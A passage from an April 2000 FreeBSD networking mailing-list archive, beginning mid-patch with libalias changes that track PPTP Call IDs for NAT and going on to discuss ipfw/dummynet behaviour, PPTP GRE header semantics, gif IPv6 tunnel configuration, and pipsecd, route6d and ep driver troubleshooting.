+1405,13 @@ FindPptpIn(struct in_addr dst_addr, struct alias_link * FindPptpOut(struct in_addr src_addr, - struct in_addr dst_addr) + struct in_addr dst_addr, + u_short call_id) { struct alias_link *link; link = FindLinkOut(src_addr, dst_addr, - NO_SRC_PORT, NO_DEST_PORT, + call_id, NO_DEST_PORT, LINK_PPTP, 1); if (link == NULL) @@ -1418,7 +1420,7 @@ FindPptpOut(struct in_addr src_addr, alias_addr = FindAliasAddress(src_addr); link = AddLink(src_addr, dst_addr, alias_addr, - NO_SRC_PORT, NO_DEST_PORT, 0, + call_id, NO_DEST_PORT, call_id, LINK_PPTP); } @@ -2117,7 +2119,7 @@ PacketAliasRedirectPptp(struct in_addr s struct alias_link *link; link = AddLink(src_addr, dst_addr, alias_addr, - NO_SRC_PORT, NO_DEST_PORT, 0, + 0, NO_DEST_PORT, 0, LINK_PPTP); if (link != NULL) Index: alias_local.h =================================================================== RCS file: /usr/FreeBSD-CVS/src/lib/libalias/alias_local.h,v retrieving revision 1.12 diff -u -p -r1.12 alias_local.h --- alias_local.h 2000/04/18 10:18:21 1.12 +++ alias_local.h 2000/04/19 08:14:33 @@ -96,10 +96,10 @@ struct alias_link * FindFragmentPtr(struct in_addr, u_short); struct alias_link * -FindPptpIn(struct in_addr, struct in_addr); +FindPptpIn(struct in_addr, struct in_addr, u_short); struct alias_link * -FindPptpOut(struct in_addr, struct in_addr); +FindPptpOut(struct in_addr, struct in_addr, u_short); struct alias_link * FindUdpTcpIn (struct in_addr, struct in_addr, u_short, u_short, u_char); @@ -168,6 +168,9 @@ void AliasHandleCUSeeMeIn(struct ip *, s /* Transparent proxy routines */ int ProxyCheck(struct ip *, struct in_addr *, u_short *); void ProxyModify(struct alias_link *, struct ip *, int, int); + +/* PPTP routines */ +u_short GetPptpCallID(struct ip *); enum alias_tcp_state { Index: alias_pptp.c =================================================================== RCS file: alias_pptp.c diff -N alias_pptp.c --- /dev/null Wed Apr 19 11:17:15 2000 +++ alias_pptp.c Wed Apr 19 11:14:34 2000 @@ -0,0 +1,48 @@ +#include +#include +#include +#include + +#include "alias_local.h" + +/* + * Enhanced GRE header. + * Per RFC 2637, July, 1999. + */ +#define PPTP_GRE_VERSION 1 + +struct grehdr { + u_char Recur:3, /* Recursion control. */ + s:1, /* Strict source route present. */ + S:1, /* Sequence number present. */ + K:1, /* Key present. */ + R:1, /* Routing present. */ + C:1; /* Checksum present. */ + u_char ver:3, /* GRE version */ + flags:4, /* Flags. */ + A:1; /* Acknowledgment sequence number present. */ + u_short proto; /* Protocol type. */ + u_short plen; /* Payload length. */ + u_short callid; /* Call ID. */ +}; + + +#define NO_CALLID 1 + +u_short +GetPptpCallID(struct ip *pip) +{ + + if (pip->ip_p == IPPROTO_GRE) { + struct grehdr *gre; + + gre = (struct grehdr *)((char *)pip + (pip->ip_hl << 2)); + + /* Make sure this is a PPTP GRE packet with the Key field. */ + if (gre->ver == PPTP_GRE_VERSION && gre->K) + return (gre->callid); + } + + /* Report dummy Call ID for non-PPTP GRE. */ + return (NO_CALLID); +} --82I3+IH0IqGh5yIs-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Wed Apr 19 3:47:48 2000 Delivered-To: freebsd-net@freebsd.org Received: from mail-04-real.cdsnet.net (mail-04-real.cdsnet.net [204.118.244.94]) by hub.freebsd.org (Postfix) with SMTP id 8BA2637B74D for ; Wed, 19 Apr 2000 03:47:46 -0700 (PDT) (envelope-from mrcpu@internetcds.com) Received: (qmail 20952 invoked from network); 19 Apr 2000 10:47:45 -0000 Received: from schizo.cdsnet.net (204.118.244.32) by mail-03-real.cdsnet.net with SMTP; 19 Apr 2000 10:47:45 -0000 Date: Wed, 19 Apr 2000 03:43:23 -0700 (PDT) From: Jaye Mathisen X-Sender: mrcpu@schizo.cdsnet.net To: freebsd-net@freebsd.org Subject: IPFW comments, and a question... Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Any reason the rule increment # can't be changed to something smaller like 10, or 20, rather than 100? If you add a lot of rules, you can burn up good size chunk of the available space in a hurry, even though it's pretty sparsely used. Maybe a sysctl frob? (Guess that would depend on when rc.sysctl is read wrt rc.firewall). I'm experimenting with the dummynet bandwidth stuff. A couple minor issues. 1) Everything passing through dummynet seems Peachy keeno, except ICMP traffic seems to pick up 40-50ms of delay, yet there's no delay configured on anything icmp related. Normal TCP/UDP traffic is going through fine. 2) Are all pipe rules scanned before pass/deny rules? Because when configuring a lot of pipes, there seems to be no way to assign rule numbers to a pipe, which makes figuring out where pass/deny rules should go if the number of pipes change. Other than those issues, it seems to work just peachy. I do not believe I am on this list, so please CC me in any response. FreeBSD 4.0-STABLE, compiled a few days ago. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Wed Apr 19 6: 1:42 2000 Delivered-To: freebsd-net@freebsd.org Received: from info.iet.unipi.it (info.iet.unipi.it [131.114.9.184]) by hub.freebsd.org (Postfix) with ESMTP id B027337B50F for ; Wed, 19 Apr 2000 06:01:34 -0700 (PDT) (envelope-from luigi@info.iet.unipi.it) Received: (from luigi@localhost) by info.iet.unipi.it (8.9.3/8.9.3) id PAA04241; Wed, 19 Apr 2000 15:02:30 +0200 (CEST) (envelope-from luigi) From: Luigi Rizzo Message-Id: <200004191302.PAA04241@info.iet.unipi.it> Subject: Re: IPFW comments, and a question... In-Reply-To: from Jaye Mathisen at "Apr 19, 2000 03:43:23 am" To: Jaye Mathisen Date: Wed, 19 Apr 2000 15:02:30 +0200 (CEST) Cc: freebsd-net@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL61 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > Any reason the rule increment # can't be changed to something smaller like > 10, or 20, rather than 100? If you add a lot of rules, you can burn up > good size chunk of the available space in a hurry, even though it's pretty > sparsely used. you should just not rely on automatic numbering, especially for very large rulesets where you most likely want to use "skipto" rules and thus you need to number rules yourself. > 1) Everything passing through dummynet seems Peachy keeno, except ICMP > traffic seems to pick up 40-50ms of delay, yet there's no delay configured > on anything icmp related. Normal TCP/UDP traffic is going through fine. not sure what you mean but remember that passing packets through a bandwidth limiter implicitly causes a delay proportional to pkt_size/bandwidth. ping -s will show the effect (and if you don't have options HZ=1000 in your kernel, you will have these times rounded to the 10ms timer tick. > 2) Are all pipe rules scanned before pass/deny rules? Because when > configuring a lot of pipes, there seems to be no way to assign rule > numbers to a pipe, which makes figuring out where pass/deny rules should > go if the number of pipes change. rules are scanned in the order they are written (modulo skipto rules). Pipe numbers are just "names" assigned to the pipes. i don't understand what you mean by "assign rule numbers to a pipe", the logic is exactly the contrary, it is rules which forward packets to a given pipe whose name just happens to be a string of digits. cheers luigi -----------------------------------+------------------------------------- Luigi RIZZO, luigi@iet.unipi.it . Dip. di Ing. dell'Informazione http://www.iet.unipi.it/~luigi/ . Universita` di Pisa TEL/FAX: +39-050-568.533/522 . via Diotisalvi 2, 56126 PISA (Italy) Mobile +39-347-0373137 -----------------------------------+------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Wed Apr 19 11:19:40 2000 Delivered-To: freebsd-net@freebsd.org Received: from bubba.whistle.com (bubba.whistle.com [207.76.205.7]) by hub.freebsd.org (Postfix) with ESMTP id 90A3137BD0A; Wed, 19 Apr 2000 11:19:36 -0700 (PDT) (envelope-from archie@whistle.com) Received: (from archie@localhost) by bubba.whistle.com (8.9.3/8.9.2) id LAA27198; Wed, 19 Apr 2000 11:19:33 -0700 (PDT) From: Archie Cobbs Message-Id: <200004191819.LAA27198@bubba.whistle.com> Subject: Re: Improved PPTP support for libalias(3) In-Reply-To: <20000419115513.A42767@relay.ucb.crimea.ua> from Ruslan Ermilov at "Apr 19, 2000 11:55:13 am" To: ru@FreeBSD.ORG (Ruslan Ermilov) Date: Wed, 19 Apr 2000 11:19:33 -0700 (PDT) Cc: julian@elischer.org, brian@Awfulhak.org, cmott@scientech.com, ari@suutari.iki.fi, perhaps@yes.no, net@FreeBSD.ORG, erik@whistle.com (Erik Salander) X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Ruslan Ermilov writes: > > Sure there is: the Call ID. > > > > We are probably going to implement the remaining bit of this here > > at Whistle in the next couple of weeks.. and will submit when done. > > > This patch should (hopefully) allow for concurrent PPTP tunnels from > multiple local PACs to the same remote PNS to work behind NAT (rfc2637 > terminology is being used). > > Could someone please test this patch, since I do not have enough test > environment here? > > Note please, that you DO NOT need PacketAliasRedirectPptp() for this > to work. Just running natd(8) with the default set of options should > be enough. > > If someone is going to test this, please mail me the output of `natd -v' > while trying PPTP to the same PNS from two or more local PACs. I'm not that familiar with the libalias code (erik@whistle.com is more familiar), but am familiar with PPTP. Are you swizzling the TCP stream (port 1723) at all? If not, then it's probably not going to work .. or at least, not when two clients use the same Call ID. PPTP is like active mode FTP in that the Call ID (FTP -> port #) is embedded in the TCP stream and must be swizzled. Unlike FTP however, the TCP stream won't shrink or expand. -Archie ___________________________________________________________________________ Archie Cobbs * Whistle Communications, Inc. * http://www.whistle.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Wed Apr 19 14:18: 8 2000 Delivered-To: freebsd-net@freebsd.org Received: from if.scientech.com (eaglerock.if.scientech.com [198.60.85.3]) by hub.freebsd.org (Postfix) with ESMTP id 8182037B68A; Wed, 19 Apr 2000 14:18:05 -0700 (PDT) (envelope-from cmott@scientech.com) Received: from if.scientech.com (IDENT:cmott@if.scientech.com [10.128.1.6] (may be forged)) by if.scientech.com (8.9.3/8.9.3) with ESMTP id PAA18701; Wed, 19 Apr 2000 15:18:02 -0600 Date: Wed, 19 Apr 2000 15:18:02 -0600 (MDT) From: Charles Mott To: Archie Cobbs Cc: Ruslan Ermilov , julian@elischer.org, brian@Awfulhak.org, ari@suutari.iki.fi, perhaps@yes.no, net@FreeBSD.ORG, Erik Salander Subject: Re: Improved PPTP support for libalias(3) In-Reply-To: <200004191819.LAA27198@bubba.whistle.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > I'm not that familiar with the libalias code (erik@whistle.com is > more familiar), but am familiar with PPTP. Are you swizzling the > TCP stream (port 1723) at all? If not, then it's probably not going > to work .. or at least, not when two clients use the same Call ID. > > PPTP is like active mode FTP in that the Call ID (FTP -> port #) is > embedded in the TCP stream and must be swizzled. Unlike FTP however, > the TCP stream won't shrink or expand. It seems like the PPTP server address and call ID would provide enough information to correctly rewrite packets (i.e. a given server will not have duplicate call ID's). However, you are also indicating that the the control stream must be modified. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Wed Apr 19 14:32:16 2000 Delivered-To: freebsd-net@freebsd.org Received: from bubba.whistle.com (bubba.whistle.com [207.76.205.7]) by hub.freebsd.org (Postfix) with ESMTP id 9F80137B68A; Wed, 19 Apr 2000 14:32:12 -0700 (PDT) (envelope-from archie@whistle.com) Received: (from archie@localhost) by bubba.whistle.com (8.9.3/8.9.2) id OAA38818; Wed, 19 Apr 2000 14:32:09 -0700 (PDT) From: Archie Cobbs Message-Id: <200004192132.OAA38818@bubba.whistle.com> Subject: Re: Improved PPTP support for libalias(3) In-Reply-To: from Charles Mott at "Apr 19, 2000 03:18:02 pm" To: cmott@scientech.com (Charles Mott) Date: Wed, 19 Apr 2000 14:32:09 -0700 (PDT) Cc: archie@whistle.com (Archie Cobbs), ru@FreeBSD.ORG (Ruslan Ermilov), julian@elischer.org, brian@Awfulhak.org, ari@suutari.iki.fi, perhaps@yes.no, net@FreeBSD.ORG, erik@whistle.com (Erik Salander) X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Charles Mott writes: > > I'm not that familiar with the libalias code (erik@whistle.com is > > more familiar), but am familiar with PPTP. Are you swizzling the > > TCP stream (port 1723) at all? If not, then it's probably not going > > to work .. or at least, not when two clients use the same Call ID. > > > > PPTP is like active mode FTP in that the Call ID (FTP -> port #) is > > embedded in the TCP stream and must be swizzled. Unlike FTP however, > > the TCP stream won't shrink or expand. > > It seems like the PPTP server address and call ID would provide > enough information to correctly rewrite packets (i.e. a given > server will not have duplicate call ID's). In practice, that may work, but AFAIK the call ID is scoped only to the control stream session, not to the entire server. So in theory at least you can have two separate TCP connections to the same server utilizing the same Call ID for different connections. -Archie ___________________________________________________________________________ Archie Cobbs * Whistle Communications, Inc. * http://www.whistle.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Wed Apr 19 18:42:50 2000 Delivered-To: freebsd-net@freebsd.org Received: from mgw-x1.nokia.com (mgw-x1.nokia.com [131.228.20.21]) by hub.freebsd.org (Postfix) with ESMTP id 5967E37B7D8 for ; Wed, 19 Apr 2000 18:42:47 -0700 (PDT) (envelope-from jens-ulrik.petersen@nokia.com) Received: from mgw-i1.ntc.nokia.com (mgw-i1.ntc.nokia.com [131.228.118.60]) by mgw-x1.nokia.com (8.9.3/8.9.3/o) with ESMTP id EAA26533 for ; Thu, 20 Apr 2000 04:42:45 +0300 (EETDST) Received: from samail01.nmp.nokia.com (root@samail01.nmp.nokia.com [131.228.240.6]) by mgw-i1.ntc.nokia.com (8.9.3/8.9.3) with ESMTP id EAA19829 for ; Thu, 20 Apr 2000 04:42:45 +0300 (EETDST) Received: from tolnx04.europe.nokia.com (root@tolnx04.europe.nokia.com [172.24.106.61]) by samail01.nmp.nokia.com (8.8.6 (PHNE_17135)/8.8.6) with ESMTP id EAA08082 for ; Thu, 20 Apr 2000 04:45:14 +0200 (EET) Received: (from jepeters@localhost) by tolnx04.europe.nokia.com (8.9.3/8.8.7) id KAA12148; Thu, 20 Apr 2000 10:42:38 +0900 X-Authentication-Warning: tolnx04.europe.nokia.com: jepeters set sender to jens-ulrik.petersen@nokia.com using -f To: freebsd-net@freebsd.org Subject: ipv6 over ipv4 tunneling configuration for FreeBSD-4.0 From: Jens-Ulrik Petersen Date: 20 Apr 2000 10:42:37 +0900 Message-ID: Lines: 9 User-Agent: Gnus/5.0803 (Gnus v5.8.3) XEmacs/21.1 (Bryce Canyon) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org There are a number of examples around of how to configure tunneling with Kame, but does anyone have explicit examples of configuration files for release 4.0. Either using "/etc/rc.network6" or home-brewed scripts. Some explicit examples or pointers to them would be greatly appreciated. Thanks, Jens To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Wed Apr 19 19:59: 6 2000 Delivered-To: freebsd-net@freebsd.org Received: from mail.snickers.org (mail.snickers.org [216.126.90.4]) by hub.freebsd.org (Postfix) with ESMTP id 1DF9737B88A for ; Wed, 19 Apr 2000 19:59:03 -0700 (PDT) (envelope-from josh@snickers.org) Received: by mail.snickers.org (Postfix, from userid 1037) id 2DAB43D1F; Wed, 19 Apr 2000 22:58:58 -0400 (EDT) Date: Wed, 19 Apr 2000 22:58:58 -0400 From: Josh Tiefenbach To: freebsd-net@freebsd.org Subject: PPPoE/ppp/pipsecd problem Message-ID: <20000419225857.A47315@snickers.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre2i Organization: Hah Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I've been trying to get pipsecd from ports working between my machine (on a DSL link, and using ppp/PPPoE) and another machine on the 'net at large. So far I've been having some vexing problems. I'm fairly confident that I've got pipsecd configured properly. Using the exact same configs, I've gotten the setup to work nicely both on my internal LAN (between 2 5.0-current machines) and between 2 hosts on the Internet. However, I cant seem to get pipsecd to work between my gateway machine and one of those Internet hosts. At first I thought it might be my IPFilter rules blocking the proto ESP packets, but the problem is still evident after I flush all the firewall rules. Diagram of network to make the following paragraph make sense: ------- --------- | de0 -> tun0 <--------(Internet)------------------> de1 | | 1.2.3.4 5.6.7.8 | | | | tun1 <-----------(pipsecd virtual link)----------> tun0 | | 10.10.10.1 10.10.10.2 | ------- --------- cerebus spike tun0 on cerebus is controlled via ppp, and uses de0 as the transport for PPPoE. tun1 on cerebus is controlled via pipsecd de1 on spike is a normal ethernet port tun0 on spike is controlled via pipsecd When I ping 10.10.10.2 from cerebus, a tcpdump -i tun0 shows a whole bunch of ESP packets leaving, but no replies coming back. A tcpdump -i de1 on spike shows a bunch of ESP packets coming in, and replies being sent out. *However*, if I do a tcpdump -i de0 on cerebus, I notice that those ESP replies from spike are actually hitting de0 (inside the PPPoE encapsulation), but would appear to not be passed to ppp, as I dont see them appear on tun0 A quick scan of both ppp and ng_pppoe doesnt reveal anything that suggests that either one of those entities cant handle incoming IPPROTO_ESP packets. cerebus is: FreeBSD cerebus 5.0-CURRENT FreeBSD 5.0-CURRENT #9: Sun Apr 16 18:02:27 EDT 2000 make world done immediately after kernel. Any suggestions from the floor? Brian? Julian? josh -- Give me rampant intellectualism as a coping strategy! -- Chuck Palahniuk in Invisible Monsters To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Wed Apr 19 23:22:24 2000 Delivered-To: freebsd-net@freebsd.org Received: from if.scientech.com (eaglerock.if.scientech.com [198.60.85.3]) by hub.freebsd.org (Postfix) with ESMTP id 5D34537BD76; Wed, 19 Apr 2000 23:22:20 -0700 (PDT) (envelope-from cmott@scientech.com) Received: from if.scientech.com (IDENT:cmott@if.scientech.com [10.128.1.6] (may be forged)) by if.scientech.com (8.9.3/8.9.3) with ESMTP id AAA15604; Thu, 20 Apr 2000 00:22:16 -0600 Date: Thu, 20 Apr 2000 00:22:16 -0600 (MDT) From: Charles Mott To: Archie Cobbs Cc: Ruslan Ermilov , julian@elischer.org, brian@Awfulhak.org, ari@suutari.iki.fi, perhaps@yes.no, net@FreeBSD.ORG, Erik Salander Subject: Re: Improved PPTP support for libalias(3) In-Reply-To: <200004192132.OAA38818@bubba.whistle.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > > It seems like the PPTP server address and call ID would provide > > enough information to correctly rewrite packets (i.e. a given > > server will not have duplicate call ID's). > > In practice, that may work, but AFAIK the call ID is scoped > only to the control stream session, not to the entire server. > > So in theory at least you can have two separate TCP connections to > the same server utilizing the same Call ID for different connections. From RFC 2673: Call ID A unique identifier, unique to a particular PAC-PNS pair assigned by the PNS to this session. It is used to multiplex and demultiplex data sent over the tunnel between the PNS and PAC involved in this session. My reading is that the Call ID is scoped over all connections to to a given endpoint. However, there are actually _two_ Call ID's for every connection -- one for each endpoint. So it appears that the control channel has to be watched for Call ID's, and new associations ("links" in libalias) need to be created for GRE packets based on the control channel data. Moreover, two clients behind the NAT gateway might choose the same Call ID when connecting to the same PPTP server. In this case, the control channel would have to modified ("swizzled" in Archie's terminology) and the call ID for outgoing GRE packets changed for one of the PPTP connections in order to avoid collision. At any rate, I think I finally understand Archie's somewhat concise remarks. He seems to be correct. Modifying the TCP stream can be modelled ater the ftp and irc code. The checksum for GRE appears to be slightly different than for TCP or UDP. Charles Mott To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Wed Apr 19 23:48:32 2000 Delivered-To: freebsd-net@freebsd.org Received: from coconut.itojun.org (coconut.itojun.org [210.160.95.97]) by hub.freebsd.org (Postfix) with ESMTP id 5853237B788 for ; Wed, 19 Apr 2000 23:48:28 -0700 (PDT) (envelope-from itojun@itojun.org) Received: from kiwi.itojun.org (localhost.itojun.org [127.0.0.1]) by coconut.itojun.org (8.9.3+3.2W/3.7W) with ESMTP id PAA05489; Thu, 20 Apr 2000 15:48:11 +0900 (JST) To: Jens-Ulrik Petersen Cc: freebsd-net@freebsd.org In-reply-to: jens-ulrik.petersen's message of 20 Apr 2000 10:42:37 JST. X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: Re: ipv6 over ipv4 tunneling configuration for FreeBSD-4.0 From: itojun@iijlab.net Date: Thu, 20 Apr 2000 15:48:11 +0900 Message-ID: <5487.956213291@coconut.itojun.org> Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >There are a number of examples around of how to configure tunneling >with Kame, but does anyone have explicit examples of configuration >files for release 4.0. Either using "/etc/rc.network6" or home-brewed >scripts. > >Some explicit examples or pointers to them would be greatly >appreciated. yup, how to configure /etc/rc.* is quite different from KAME distribution and FreeBSD 4.0-RELEASE. If you want an RFC1933 configured tunnel between 10.1.1.1 (your node) and 20.1.1.1 (the other node), you may want to add the following to rc.conf. after this configuration, gif interface should work just like other point-to-point interfaces. you can run routing daemons to route your IPv6 traffic to the peer, or you may want to configure IPv6 addresses manually using ifconfig. see /etc/defaults/rc.conf for some examples. itojun gif_interfaces="gif0" gifconfig_gif0="10.1.1.1 20.1.1.1" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Wed Apr 19 23:51:48 2000 Delivered-To: freebsd-net@freebsd.org Received: from relay.ucb.crimea.ua (relay.ucb.crimea.ua [212.110.138.1]) by hub.freebsd.org (Postfix) with ESMTP id 9BC7F37B6E3 for ; Wed, 19 Apr 2000 23:51:38 -0700 (PDT) (envelope-from ru@ucb.crimea.ua) Received: (from ru@localhost) by relay.ucb.crimea.ua (8.9.3/8.9.3/UCB) id JAA37800; Thu, 20 Apr 2000 09:50:04 +0300 (EEST) (envelope-from ru) Date: Thu, 20 Apr 2000 09:50:04 +0300 From: Ruslan Ermilov To: Charles Mott Cc: Archie Cobbs , julian@elischer.org, brian@Awfulhak.org, ari@suutari.iki.fi, perhaps@yes.no, net@FreeBSD.ORG, Erik Salander Subject: Re: Improved PPTP support for libalias(3) Message-ID: <20000420095004.B28609@relay.ucb.crimea.ua> Mail-Followup-To: Charles Mott , Archie Cobbs , julian@elischer.org, brian@Awfulhak.org, ari@suutari.iki.fi, perhaps@yes.no, net@FreeBSD.ORG, Erik Salander References: <200004192132.OAA38818@bubba.whistle.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.3i In-Reply-To: ; from Charles Mott on Thu, Apr 20, 2000 at 12:22:16AM -0600 Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Thu, Apr 20, 2000 at 12:22:16AM -0600, Charles Mott wrote: > > > It seems like the PPTP server address and call ID would provide > > > enough information to correctly rewrite packets (i.e. a given > > > server will not have duplicate call ID's). > > > > In practice, that may work, but AFAIK the call ID is scoped > > only to the control stream session, not to the entire server. > > > > So in theory at least you can have two separate TCP connections to > > the same server utilizing the same Call ID for different connections. > > >From RFC 2673: > > Call ID A unique identifier, unique to a particular > PAC-PNS pair assigned by the PNS to this > session. It is used to multiplex and > demultiplex data sent over the tunnel > between the PNS and PAC involved in this > session. > > My reading is that the Call ID is scoped over all > connections to to a given endpoint. However, there > are actually _two_ Call ID's for every connection -- > one for each endpoint. > > So it appears that the control channel has to be > watched for Call ID's, and new associations ("links" > in libalias) need to be created for GRE packets based > on the control channel data. > > Moreover, two clients behind the NAT gateway might > choose the same Call ID when connecting to the same > PPTP server. In this case, the control channel would > have to modified ("swizzled" in Archie's terminology) > and the call ID for outgoing GRE packets changed for > one of the PPTP connections in order to avoid > collision. > > At any rate, I think I finally understand Archie's > somewhat concise remarks. He seems to be correct. > Yes, I see it too now. > Modifying the TCP stream can be modelled ater the > ftp and irc code. The checksum for GRE appears to > be slightly different than for TCP or UDP. > PPTP does not use GRE checksum. In section 4.1 of RFC 2673 we read: : The format of the enhanced GRE header is as follows: : : 0 1 2 3 : 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 : +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ : |C|R|K|S|s|Recur|A| Flags | Ver | Protocol Type | : +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ : | Key (HW) Payload Length | Key (LW) Call ID | : +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ : | Sequence Number (Optional) | : +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ : | Acknowledgment Number (Optional) | : +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ : : C : (Bit 0) Checksum Present. Set to zero (0). Cheers, -- Ruslan Ermilov Sysadmin and DBA of the ru@ucb.crimea.ua United Commercial Bank, ru@FreeBSD.org FreeBSD committer, +380.652.247.647 Simferopol, Ukraine http://www.FreeBSD.org The Power To Serve http://www.oracle.com Enabling The Information Age To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Thu Apr 20 0:25:32 2000 Delivered-To: freebsd-net@freebsd.org Received: from coconut.itojun.org (coconut.itojun.org [210.160.95.97]) by hub.freebsd.org (Postfix) with ESMTP id 8ABE637BDA1 for ; Thu, 20 Apr 2000 00:25:28 -0700 (PDT) (envelope-from itojun@itojun.org) Received: from kiwi.itojun.org (localhost.itojun.org [127.0.0.1]) by coconut.itojun.org (8.9.3+3.2W/3.7W) with ESMTP id QAA06123; Thu, 20 Apr 2000 16:25:22 +0900 (JST) To: Koji Baba Cc: freebsd-net@FreeBSD.ORG In-reply-to: baba's message of Mon, 10 Apr 2000 18:47:54 JST. <4.2.0.58.J.20000410182705.00b7cd60@igloo.kddcom.co.jp> X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: Re: release-4.0 route6d terminates From: itojun@iijlab.net Date: Thu, 20 Apr 2000 16:25:22 +0900 Message-ID: <6121.956215522@coconut.itojun.org> Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >My route6d terminates with following messages. >What kind of interface is this 'interface 11'? >Unknown interface 11: Interrupted system call >Any suggestion welcome. >Thanks. looks to be this one. please let KAME team know if this fixes your problem. http://www.kame.net/dev/cvsweb.cgi/kame/kame/kame/route6d/route6d.c.diff?r1=1.14&r2=1.15 itojun To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Thu Apr 20 1:49:31 2000 Delivered-To: freebsd-net@freebsd.org Received: from coconut.itojun.org (coconut.itojun.org [210.160.95.97]) by hub.freebsd.org (Postfix) with ESMTP id E121D37BDB5 for ; Thu, 20 Apr 2000 01:49:28 -0700 (PDT) (envelope-from itojun@itojun.org) Received: from kiwi.itojun.org (localhost.itojun.org [127.0.0.1]) by coconut.itojun.org (8.9.3+3.2W/3.7W) with ESMTP id RAA07381; Thu, 20 Apr 2000 17:48:48 +0900 (JST) To: Mattias Pettersson Cc: snap-users@kame.net, freebsd-net@freebsd.org In-reply-to: eraxpma's message of Mon, 17 Apr 2000 17:50:24 +0200. <38FB32C0.E329D34B@verkstad.net> X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: Re: ep driver From: itojun@iijlab.net Date: Thu, 20 Apr 2000 17:48:48 +0900 Message-ID: <7379.956220528@coconut.itojun.org> Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >I'm experiencing a problem on FreeBSD3.4 with pcmcia card 3Com589ET and >driver ep. I'm using snap 20000403, though I'm not sure this has >anything to do with IPv6 (but traffic is IPv6). >Is anyone familiar to if certain network cards reset themselves if they >are detached for a while? This card seem to drop one (first) outgoing >packet when re-attached. sorry for dumb question and delay, "detached" means pcmcia card removal, or some other things? itojun To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Thu Apr 20 1:58:48 2000 Delivered-To: freebsd-net@freebsd.org Received: from solo.verkstad.net (solo.verkstad.net [192.71.20.34]) by hub.freebsd.org (Postfix) with ESMTP id 9C99D37BDD2 for ; Thu, 20 Apr 2000 01:58:42 -0700 (PDT) (envelope-from eraxpma@verkstad.net) Received: from verkstad.net (6bone-gw.testbed.era.ericsson.se [192.71.20.105]) by solo.verkstad.net 